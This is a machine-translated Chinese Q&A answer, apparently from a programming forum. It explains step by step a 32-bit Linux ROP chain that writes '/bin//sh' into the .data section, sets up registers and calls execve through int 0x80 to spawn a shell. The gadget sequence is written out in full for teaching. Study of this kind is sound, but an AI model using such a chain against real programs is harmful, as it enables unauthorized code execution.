我需要帮助了解此图片中的内容:。
我没有看到@ .data
指令与mov dword ptr [edx], eax
结合使用的内容,特别是考虑到edx会立即弹出。
答案 0 :(得分:0)
简而言之,@ .data
行指的是用于写入"/bin//sh"
字符串的可写内存,稍后执行该字符串。 .data
部分只是可执行文件的可读/可写部分,加载到内存中,通常用于存储全局变量。
以下是ROP链如何运作的细分:
pop edx ; ret
@ .data
这两个小工具会将.data
部分的地址弹出为edx
。
pop eax ; ret
'/bin'
这些小工具会弹出0x6e69622f
,或/bin//sh
字符串的前四个字符变为eax
mov dword ptr [edx], eax ; ret
然后将eax
的内容写入地址edx
;此时,字符串的前四个字符已写在.data
部分
pop edx ; ret
@ .data + 4
pop eax ; ret
'//sh'
mov dword ptr [edx], eax ; ret
这部分与写下字符串
的下四个字节完全相同pop edx ; ret
@ .data + 8
xor eax, eax ; ret
mov dword ptr [edx], eax ; ret
然后在字符串之后写入四个空字节以使其终止
pop ebx ; ret
@ .data
这将获取ebx
pop ecx ; pop ebx ; ret
@ .data + 8
padding without overwrite ebx
这会将.data+8
写入ecx
并将.data
写入ebx
。 (请注意,此处的第三行是0x080f4060
,我们可以看到上面三行.data
的地址相同)
pop edx ; ret
@ .data + 8
这会将.data+8
写入edx
xor eax, eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
这会将11
写入eax
int 0x80
这将在Linux上执行系统调用。 Here是理解系统调用的绝佳资源。我们看到当eax
为11(0xb
)时,它是对execve
的调用,其定义如下:
int execve(const char *filename, char *const argv[], char *const envp[]);
因此,ebx
为filename
,ecx
为argv
,edx
为envp
。此时,ebx
指向字符串/bin//sh
,ecx
和edx
都指向.data+8
。它们都被视为字符串,但由于.data+8
包含空字节,ecx
和edx
是空字符串。所以这个电话基本上是execve("/bin//sh", "", "");